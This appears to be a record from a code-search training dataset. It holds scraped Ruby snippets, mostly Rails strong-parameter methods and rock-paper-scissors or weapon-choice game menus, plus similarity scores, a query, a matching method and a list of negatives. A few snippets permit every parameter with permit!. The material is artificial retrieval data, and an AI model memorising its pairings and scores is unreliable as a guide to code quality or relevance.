check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
def weapon_choice puts "Choose your weapon: rock, paper or scissors"
def computer_choice @computer = ["rock", "paper", "scissors"].shuffle.first end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def choose_weapons\n puts \"Choose 'r' for rock, 'p' for paper or 's' for scissors\"\n return gets.chomp.downcase\n end", "def print_winning_message(winning_choice)\n case\n when 'Rock'\n say('Rock smashes scissors!')\n when 'Paper'\n say('Paper covers rock!')\n when 'Scissors'\n say('Scissors cuts paper!')\n end\nend", "def rps(user_weapon)\n weapons = [\"rock\", \"paper\", \"scissors\"]\n computer_weapon = weapons.shuffle.last\n\n if user_weapon == \"rock\"\n case computer_weapon\n when \"rock\"\n return \"Rock, Draw!\"\n when \"paper\"\n return \"Paper, Lose!\"\n when \"scissors\"\n return \"Scissors, Win!\"\n end\n elsif user_weapon == \"paper\"\n case computer_weapon\n when \"rock\"\n return \"Rock, Win!\"\n when \"paper\"\n return \"Paper, Draw!\"\n when \"scissors\"\n return \"Scissors, Lose!\"\n end\n elsif user_weapon == \"scissors\"\n case computer_weapon\n when \"rock\"\n return \"Rock, Lose!\"\n when \"paper\"\n return \"Paper, Win!\"\n when \"scissors\"\n return \"Scissors, Draw!\"\n end\n end\n\nend", "def select_weapon\n\t# Store weapons in new array\n\tweapons = [\n \"\\u{1F52B}\" + \" \" + \"gun\",\n \"\\u{1F526}\" + \" \" + \"flashlight\",\n \"\\u{1F525}\" + \" \" + \"torch\",\n \"\\u{1F528}\" + \" \" + \"hammer\",\n \"\\u{1F52A}\" + \" \" + \"knife\"]\n\n# Ask user to choose a starting weapon\n\tputs \"Choose your weapon by typing its associated number: \\n\\n\"\n\n# Loop through weapons array and print options to console\n# prints the weapons and its value\n\t(0...weapons.length).each do |i|\n\t\tputs \"#{i+1} - #{weapons[i]}\"\n\tend\n\n# user input placeholder\n\tprint \"> \"\n\n# getting the users choice\n\tchoice = $stdin.gets.chomp.to_i - 1\n\t@selected_weapon = weapons[choice]\n\n#switch case for output of weapon choice\n case choice\n when 0\n puts \"You selected: #{@selected_weapon}\"\n clear_screen\n start_game\n when 1\n puts \"You selected: #{@selected_weapon}\"\n clear_screen\n start_game\n when 2\n puts \"You selected: #{@selected_weapon}\"\n clear_screen\n start_game\n when 3\n puts \"You selected: #{@selected_weapon}\"\n clear_screen\n start_game\n when 4\n puts \"You selected: #{@selected_weapon}\"\n clear_screen\n start_game\n else\n puts \"\\nChoose again\\n\\n\"\n select_weapon\n end\nend", "def display_message(winning_choice)\n case winning_choice\n when 'p'\n puts \"Paper wraps rock!\"\n when 'r'\n puts \"Rock smashes scissors!\"\n when 's'\n puts \"Scissors cuts paper!\"\n end\nend", "def display_win_message(winning_choice)\n case winning_choice\n when 'p'\n puts \"Paper covers Rock!\"\n when 'r'\n puts \"Rock smashes Scissors\"\n when 's'\n puts \"Scissors cuts Paper!\"\n end\nend", "def win(pick_w)\n case pick_w \n when 'r' \n puts \"You: Rock | Me: Scissors\"\n when 'p'\n puts \"you: Paper | Me: Rock\"\n when 's'\n puts \"you: Scissors | Me: Paper\"\n end\nend", "def display_weapon_choice(hero, type = 'purchase')\n if type == 'purchase'\n shop = WeaponShop.new get_items_of_type(:weapon, hero.base_class.downcase)\n display_formatted_weapon_choice_header(hero.base_class.capitalize)\n shop.display_formatted_weapons\n item = select_item(shop.weapons)\n purchase_item(hero, item)\n elsif type == 'sell'\n if hero.current_inventory_weapons.any?\n hero.display_inventory_weapons\n item = select_item(hero.current_inventory_weapons)\n sell_item(hero, item)\n else\n error 'You do not have any weapons to sell!'\n end\n else\n error \"Undefined type #{type} for trying to display weapons\"\n end\n end", "def player_pick(player_num) #to convert the player's letter choice to a word\n if player_num == 'r'\n player_choice = 'rock'\n elsif player_num == 'p'\n player_choice = 'paper'\n elsif player_num == 's'\n player_choice = 'scissors'\n end\nend", "def choose_weapon\n\t# stores weapons in array\n\t# have an annoying bug where the weapons don't cycle correctly edit; fixed\n\tweapons = ['dagger', 'wand', 'gun', 'crossbow', 'sickle']\n\n\t# player is asked to choose a weapon\n\tputs \"Choose your starting weapon by typing it's designated number: \"\n\n\t# Simple and basic looping through array\n\n\t(0...weapons.length).each do |i|\n\t\tputs \"#{i+1} - #{weapons[i]}\"\n\tend\n\tprint \">> \"\n\n\tchoice = gets.chomp.to_i - 1\n\t@selected_weapon = weapons[choice]\n\n\tputs \"You selected: #{@selected_weapon}\"\n\tstart_game\nend", "def record_users_choice input\n\n if input == \"p\"\n player_picked = \"Paper\"\n elsif input == \"r\"\n player_picked = \"Rock\"\n elsif input == \"s\"\n player_picked = \"Scissors\"\n end\nend", "def menu_choice\n puts \"Votre rรฉponse :\"\n print \">\"\n user_answer = gets.chomp\n\n if(user_answer == \"a\")\n then @human_player.search_weapon\n end\n if(user_answer == \"s\")\n then @human_player.search_health_pack\n end\n if(user_answer == 0.to_s)\n then @human_player.attacks(@player1)\n end\n if(user_answer == 1.to_s)\n then @human_player.attacks(@player2)\n end\n if(user_answer == 2.to_s)\n then @human_player.attacks(@player3)\n end\n if(user_answer == 3.to_s)\n then @human_player.attacks(@player4)\n end\n kill_player\n end", "def choice\n\n\t$c_choice = 1 + rand(3)\n\n\t# Convert int to appropriate string\n\n\tcase $c_choice\n\t\twhen 1\n\t\t\t$c_choice = \"rock\"\n\t\twhen 2\n\t\t\t$c_choice = \"paper\"\n\t\twhen 3\n\t\t\t$c_choice = \"scissors\"\n\tend\n\n\tputs $c_choice.upcase\n\nend", "def menu_choice(action)\n if action == \"a\"\n @humanplayer.search_weapon\n elsif action == \"s\"\n @humanplayer.search_health_pack\n elsif action == \"1\"\n @humanplayer.attack(@player_1)\n elsif action == \"2\"\n @humanplayer.attack(@player_2)\n elsif action == \"3\"\n @humanplayer.attack(@player_3)\n elsif action == \"4\"\n @humanplayer.attack(@player_4)\n else puts \"Please select option a, s, 1, 2, 3 or 4\"\n end\n\n kill_player\n end", "def intro\n puts \"|====================================|\"\n puts \"| WELCOME TO ROCK PAPER SCISSORS! |\" \n puts \"|====================================|\"\n puts \"| Choose your throw. Enter: R / P / S|\"\n puts \"| R (Rock) |\"\n puts \"| P (Paper) |\"\n puts \"| S (Scissors) |\"\n puts \"|------------------------------------|\"\n end", "def get_player_one_weapon\n puts \"\\nPlayer 1, choose your weapon!\"\n return gets.chomp.downcase\nend", "def bear_choice(choice) # here we took all the oprions we're just making a funtion with all of them that we can call later\n if choice == \"1\"\n \tputs \"The bear eats your face off. Good job!\"\n elsif choice == \"2\"\n \tputs \"The bear eats your legs off. Good job!\"\n else\n \tputs \"Well doing %s is probably better. The bear runs away and leaves the cake behind.\" %bear\n end\nend", "def menu\n puts \"Select An Option \\n1) Rock \\n2) paper \\n3) Scissors\"\n u = gets.strip.to_i\n c = rand(1..3)\n\n if u == c\n puts \"tie\"\n elsif u == 1 && c == 3 || u == 2 && c == 1 || u == 3 && c == 2\n puts \"You win!\"\n else\n puts \"You lose!\"\n end\nend", "def get_player_choice()\n\n puts \"[1] - rock\\n[2] - paper\\n[3] - scissors\\n\\n\"\n\n\n print \"Choose > \"\n\n inp = gets.chomp()\n\n while true\n\n case inp\n\n when \"1\"\n\n return \"rock\"\n \n when \"2\"\n\n return \"paper\"\n\n when \"3\"\n \n return \"scissors\"\n \n else\n puts \"[!] Option not found !\\n\"\n print \"Choose > \"\n\n inp = gets.chomp()\n \n end\n\n end\n\n end", "def whats_your_weapon(sidekick, weapon)\n options_hash = {\n \"Batarang\" => \"#{sidekick}: Awesome! A Batarang! Thanks Batman!\",\n \"Fists\" => \"#{sidekick}: I don't need a weapon. I'll just use my fists like you Batman!\",\n \"Flashlight\" => \"#{sidekick}: Uh... thanks? I'll make sure to keep a light on you...\"\n }\n\n if options_hash.keys.include?(weapon)\n say options_hash[weapon]\n else\n say \"#{sidekick}: Share your toys with your sidekick!\"\n weapon = \"batarang\"\n end\nend", "def play_options(prompt)\n choices = [\n {name: \"Hit\", value: 1},\n {name: \"Stand\", value: 2},\n {name: \"Exit\", value: 3}\n ]\n chosen_option = prompt.select(\"What would you like to do?\", choices, help_color: :yellow, help: \"(Use Keybvoard keys)\", show_help: :start, filter: true)\nend", "def play\n title\n divider\n puts \"Choose 'Rock', 'Paper', or 'Scissors'\"\n input = gets.strip\n input_downcase(input)\n if valid_selection?\n computer_selection\n won\n else\n play\n end\n end", "def play_options(prompt)\r\n choices = [\r\n {name: \"Hit\", value: 1},\r\n {name: \"Stand\", value: 2},\r\n {name: \"Exit\", value: 3}\r\n ]\r\n chosen_option = prompt.select(\"What would you like to do?\", choices, help_color: :yellow, help: \"(Use Keyboard Arrow Keys)\", show_help: :start, filter: true)\r\nend", "def menu\n\tputs \"(b)asic, (a)dvanced, or (q)uit\"\n\t$menu_choice = gets.chomp.downcase\nend", "def user_choose_rps\n\tputs \"Enter rock, paper or scissors:\"\n user = gets.chomp\n user\nend", "def meal_choice(name =\"meat\")\n puts \"The meal choice is #{name}!\"\nend", "def display_main_menu_choice\n #The disabled choice will be displayed with a cross โœ˜ character next to it and followed by an explanation:\n menu_choices = [\n 'First Time User, Want To Register',\n 'Already A Registered User, Want To Login',\n # { name: 'Goro', disabled: '(injury)' },\n 'Do Not Wish To Register, Just Browsing',\n 'Looking For Info About The App',\n 'Nothing Really, Spare Me Your @?%#&?|%!'\n ]\n choice_msg = 'What Will It Be, We Offer A Great Many Choices!'\n # system \"say #{choice_msg}\"\n main_menu_choice = prompt.select('What Will It Be, We Offer A Great Many Choices!'.colorize(:color => :light_blue), menu_choices)\nend", "def get_player_two_weapon\n puts \"\\nPlayer 2, choose your weapon!\"\n return gets.chomp.downcase\nend", "def comp_choose_rps\n\trand_num = rand(3) \n\tif rand_num == 1 \n\t \"rock\"\n\telsif rand_num == 2 \n\t \"paper\"\n\telse \n\t \"scissors\"\n\tend\nend", "def loss(pick_l)\n case pick_l \n when 'r' \n puts \"You: Rock | Me: Paper\"\n when 'p'\n puts \"you: Paper | Me: Scissors\"\n when 's'\n puts \"you: Scissors | Me: Rock\"\n end\nend", "def search_weapon\n weapon = rand(1..6)\n puts \"Tu as trouvรฉ une arme de niveau #{dice}\"\n if dice > weapon_level\n @weapon_level = weapon\n puts 'Youhou ! elle est meilleure que ton arme actuelle : tu la prends.'\n else\n puts \" M@*!$... elle n'est pas mieux que ton arme actuelle...\"\n end\n end", "def power\n puts \"Do you want to request the Gods assign #{@name} some special power?\"\n puts \"Warning!!! The Gods may spite you for asking for too much: Y or N?\"\n @power = gets.chomp\n if @power == \"Y\"\n @power = [\"a seer\", \"as dumb as a cow\", \"as strong as an ox\",\n \"as fragile as a bird\"].sample\n puts \"#{@name} shall be: #{@power}\"\n else\n puts \"While #{@name} shall have no special power #{@name} did not incur the\n wrath of the Gods and risk losing power\"\n end\n end", "def select_option\n print_menu\n @choice = gets.chomp\n perform_selection\n end", "def weapon; end", "def weapon; end", "def weapon; end", "def win_game_choice\nputs \"You win. Very impressive.\"\n # case win_game_menu()\n # when \"Stats\"\n # stats_menu_choice_endgame()\n # when \"Exit\"\n exit!\n # end\n\nend", "def determineWinner(p1_weapon, p2_weapon)\n\tif p1_weapon == \"rock\"\n\t\tif p2_weapon == \"paper\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"scissors\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"rock\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telsif p1_weapon == \"paper\"\n\t\tif p2_weapon == \"scissors\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"rock\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"paper\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telsif p1_weapon == \"scissors\"\n\t\tif p2_weapon == \"rock\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"paper\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"scissors\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telse\n\t\ttext = \"Please enter rock, paper, or scissors!\"\n\tend\n\tputs text\n\treturn text\nend", "def change_weapon\n\t# Store weapons in new array\n\tweapons = [\n \"\\u{1F52B}\" + \" \" + \"gun\",\n \"\\u{1F526}\" + \" \" + \"flashlight\",\n \"\\u{1F525}\" + \" \" + \"torch\",\n \"\\u{1F528}\" + \" \" + \"hammer\",\n \"\\u{1F52A}\" + \" \" + \"knife\"]\n\n# Ask user to choose a starting weapon\n\tputs \"Choose your weapon by typing its associated number: \\n\\n\"\n\n# Loop through weapons array and print options to console\n# prints the weapons and its value\n\t(0...weapons.length).each do |i|\n\t\tputs \"#{i+1} - #{weapons[i]}\"\n\tend\n\n# user input placeholder\n\tprint \"> \"\n\n# getting the users choice\n\tchoice = $stdin.gets.chomp.to_i - 1\n\t@selected_weapon = weapons[choice]\n\n#switch case for output of weapon choice\n case choice\n when 0\n puts \"You selected: #{@selected_weapon}\"\n walking_down_the_path\n when 1\n puts \"You selected: #{@selected_weapon}\"\n walking_down_the_path\n when 2\n puts \"You selected: #{@selected_weapon}\"\n walking_down_the_path\n when 3\n puts \"You selected: #{@selected_weapon}\"\n walking_down_the_path\n when 4\n puts \"You selected: #{@selected_weapon}\"\n walking_down_the_path\n else\n puts \"\\nChoose again\\n\\n\"\n select_weapon\n end\nend", "def determine_what_comp_picks\n random = [1,2,3].shuffle\n choice = random[0]\n\n if choice == 1\n comp_picked = \"Paper\"\n elsif choice == 2\n comp_picked = \"Rock\"\n elsif choice == 3\n comp_picked = \"Scissors\"\n end\n\nend", "def action_choice(a_player)\n print (\"#{a_player}\").yellow\n puts \", it is your turn to play.\"\n puts \"This is the board situation :\"\n puts @board.the_board\n puts\n puts \"Which box do you want to tick?\"\n print \">\"\n choice = gets.chomp\n while board.boxes.include?(choice) == false\n puts \"Invalid box reference. Please, pick up another box reference.\"\n choice = gets.chomp\n end\n return choice\n end", "def search_weapon\n dice = rand(1..6)\n puts \"Tu as trouvรฉ une arme de niveau #{dice}\"\n if dice > weapon_level\n @weapon_level = dice\n else\n puts \"M@*#$... elle n'est pas mieux que ton arme actuelle...\"\n end\n puts\"////////////////////////////////////////////////\"\n puts\" \"\n end", "def paper_scissors_rock\n clear_screen\n draw_shovel_line\n\tputs \"\\n Play with the Sphinx's stomach to get out!\\n\"\n sleep(1)\n\tresult = rand(3).floor\n\task_user \"\\n What have you got?:\" , \" \\n\\n 1| for paper \\u{1F4C3}\\n 2| for scissors \\u{2702}\\n 3| for rock \\u{270A}\\n\\n\"\n\tsleep(0.5)\n puts \" \\u{1F449}\"\n choice = gets.chomp.to_i\n\n\tif choice == result\n\t\tsay \"\\nIt's a tie!\\n\"\n sleep(1.5)\n\t\tpaper_scissors_rock\n\telsif choice < result\n\t\tsay \"\\nSorry, you lost\\n Try again!\"\n sleep(1.5)\n\t\tpaper_scissors_rock\n\telsif choice > result\n\t\tputs \"\\n You won! Get out!!!!\\n\"\n sleep(1.5)\n draw_shovel_line\n sleep(1.5)\n\n\tend\nend", "def secret_menu\n puts \"\"\n options = [\"View Character Dictionary\", \"View Spellbook\", \"View House\", \"View Classmates\", \"Quit\"]\n choice = PROMPT.select(\"Welcome to Hogwarts. Feel free to explore the following:\", options)\n case choice\n when options[0]\n character_dictionary\n when options[1]\n which_user_spellbook_and_path?\n secret_menu_or_quit\n when options[2]\n house_info\n secret_menu_or_quit\n when options[3]\n user_classmates\n when options[4]\n goodbye\n end\n end", "def situation_selection\n $prompt.select(\"Welcome to Ticket Master! What would you like to do?\") do |menu|\n menu.choice 'Sign up'\n menu.choice 'Login'\n menu.choice 'Terminate program'\n end\nend", "def rock_battle\n if computer_rand == \"p\"\n puts \"Paper beats rock.\"\n puts \"The computer won.\"\n elsif computer_rand == \"s\"\n puts \"Rock beats scissors.\"\n puts \"You won!\"\n end\nend", "def walking_down_the_path\n sleep(2)\n clear_screen\n puts \"As you walk down the path it becomes harder to see, its getting dark.\"\n if @selected_weapon.include?(\"flashlight\") or @selected_weapon.include?(\"torch\") then\n puts \"Luckily you have a #{@selected_weapon} to help light the path.\"\n walking_out_of_the_path\n else\n puts \"\\nOh No! you dont have the right tools to continue in the dark!\"\n puts \"\\nWould you like to go back and pick another tool?\"\n puts \"Yes or No?\"\n print \"> \"\n end\n\n# confirmation to change weapon\n confirm = $stdin.gets.chomp.upcase\n if confirm == 'Y' or confirm == 'YES'\n puts \"You walk back to the cabin...\"\n clear_screen\n \tchange_weapon\n else\n \tgame_over\n restart_game\n end\nend", "def provide_user_option \r\n @user_choice = user_input \"\\nWhat would you like to do?\\nPress 1 to pick a file and play normally\\nPress 2 to play file in reverse\\nPress 3 if you'd like to exit\\n\"\r\nend", "def preparation_method\r\n puts(\"INPUT ANY KEY TO FIGHT\")\r\n gets.strip\r\n if $suit == 1\r\n puts(\"YOUR ARMOR INCREASES YOUR CHANCES OF SUCCESS\\n\")\r\n $danger_level = 3* ($danger_level/4)\r\n sleep(2) \r\n end\r\n if $axe == 0 and $sword == 0\r\n puts(\"YOU HAVE NO WEAPONS\\nYOU MUST FIGHT WITH BARE HANDS\\n\")\r\n $danger_level += ($danger_level/5)\r\n elsif\r\n $axe == 1 and $sword == 0\r\n puts(\"YOU HAVE ONLY AN AXE TO FIGHT WITH\\n\")\r\n $danger_level = 4 * ($danger_level/5)\r\n elsif\r\n $axe == 0 and $sword == 1\r\n puts(\"YOU MUST FIGHT WITH YOUR SWORD\\n\")\r\n $danger_level = 3* ($danger_level/4)\r\n else\r\n puts(\"WHICH WEAPON WILL YOU USE? 1 - AXE, 2 - SWORD\")\r\n weapon_chosen = gets.strip.to_i\r\n case weapon_chosen\r\n when 1\r\n puts(\"YOU CHOSE TO FIGHT WITH THE MIGHTY AXE\")\r\n $danger_level = 4 * ($danger_level/5) \r\n when 2\r\n puts(\"YOU CHOSE TO FIGHT WITH THE DEADLY BLADE\")\r\n $danger_level = 3* ($danger_level/4)\r\n else\r\n puts(\"YOU FAILED TO CHOOSE A WEAPON, YOU WILL FIGHT WITH YOUR BARE HANDS\")\r\n $danger_level += ($danger_level/5)\r\n end\r\n end\r\nend", "def choice_a_menu\n item_id = @item_list[@index]\n return action_b if item_id.nil?\n return play_buzzer_se if item_id == 0\n play_decision_se\n show_shadow_frame\n # Prepare the choice info\n # Use option\n map_usable = proc { !GameData::Item[item_id].map_usable }\n # Give option\n giv_check = proc { $pokemon_party.pokemon_alive <= 0 || !GameData::Item[item_id].holdable }\n # Unregister / register\n if $bag.shortcuts.include?(item_id)\n reg_id = 14\n reg_meth = method(:unregister_item)\n else\n reg_id = 2\n reg_meth = method(:register_item)\n reg_check = map_usable\n end\n # Throw option\n thr_check = proc { !GameData::Item[item_id].limited }\n # Create the choice\n choices = PFM::Choice_Helper.new(Yuki::ChoiceWindow::But, true, 999)\n choices.register_choice(text_get(22, 0), on_validate: method(:use_item), disable_detect: map_usable)\n .register_choice(text_get(22, 3), on_validate: method(:give_item), disable_detect: giv_check)\n .register_choice(text_get(22, reg_id), on_validate: reg_meth, disable_detect: reg_check)\n .register_choice(text_get(22, 1), on_validate: method(:throw_item), disable_detect: thr_check)\n .register_choice(text_get(22, 7))\n # Show selection : item_name\n @base_ui.show_win_text(parse_text(22, 35, PFM::Text::ITEM2[0] => GameData::Item[item_id].exact_name))\n # Process the actual choice\n y = 200 - 16 * choices.size\n choices.display_choice(@viewport, 306, y, nil, on_update: method(:update_graphics), align_right: true)\n @base_ui.hide_win_text\n hide_shadow_frame\n end", "def new_game\n puts \"Let's rochambeau!\"\n puts \"Use 'r' to choose rock, 'p' to choose paper, and 's' to choose scissors.\"\n puts \"Ready? (press any key)\"\n gets\n end", "def main_menu\n\t\tputs '################################'\n\t\tputs '######### Tic Tac Toe ##########'\n\t\tputs '################################'\n\t\tputs '================================'\n\t\tputs '== Choose your weapon warrior =='\n\t\tputs '================================'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '^^^^^^ Type Your Choice: ^^^^^^^'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '$$$$$$$$$$$ 1. \"X\" $$$$$$$$$$$$$'\n\t\tputs '$$$$$$$$$$$ 2. \"O\" $$$$$$$$$$$$$'\n\t\tputs '--------------------------------'\n\tend", "def get_choice\n puts \"\\nThank you for using our Solar System Explorer! Here are your options:\n (A) Add a planet to the list\n (B) View a planet\n (C) Exit the program\"\n print \"\\nPlease select a letter: \"\n choice = gets.chomp.upcase\n choice\nend", "def menu\n print \"\\nWhat would you like to do? \".colorize(:green)\n input = gets.strip.upcase\n if input == 'ROSTER'\n list_heroes\n elsif input == 'EXIT'\n exit\n else\n display_hero(input)\n end\n end", "def menu_choice\n user_input = gets.chomp\n strategic_choice = gets.chomp #choix strategique fait en fonction de la fonction\n if strategic_choice == \"a\"\n @human_player.search_weapon\n elsif strategic_choice == \"s\"\n @human_player.search_health_pack\n elsif strategic_choice == (0..100)\n counter_of_mechant = 0\n @enemies.each do |mechant|\n if counter_of_mechant == strategic_choice\n @human_player.attacks(mechant)\n end#end of if\n end#end of do\n end#end of if\n end", "def select_option\n return $prompt.select(\"What's your option?\",\n [\"Ladder\", \"Team's info\", \"Play a game!\", \"Training\", \"Exit\"])\n \nend", "def select_product\n puts Rainbow(' > ').black.underline.bg(:yellow) + 'Type your choice:'\n choice = ''\n coins = false\n while choice\n choice = gets.chomp\n @machine.check_for_product(choice) == 1 ? buy_product(choice, coins) : [intro, menu_setting]\n end\n end", "def equipe_weapon(weapon)\n #equipe weapon\n #5 weapons to choice from\n #need to cover user's input to actual weapon stored in database\n # 1. blue light sabre\n # 2. blaster\n # 3. flame thrower\n # 4. invisible cloak\n # 5. jumpo jet pack\n\n case weapon\n when weapon == 1\n self.weapon = Weapon.find_by(name: \"Blue Light Saber\")\n when weapon == 2\n self.weapon = Weapon.find_by(name: \"Blaster\")\n when weapon == 3\n self.weapon = Weapon.find_by(name: \"Flame Thrower\")\n when weapon == 4\n self.weapon = Weapon.find_by(name: \"Jumbo Jet Pack\")\n else\n self.weapon = Weapon.find_by(name: \"Invisible Cloak\")\n end\n end", "def main_menu\n \"Welcome 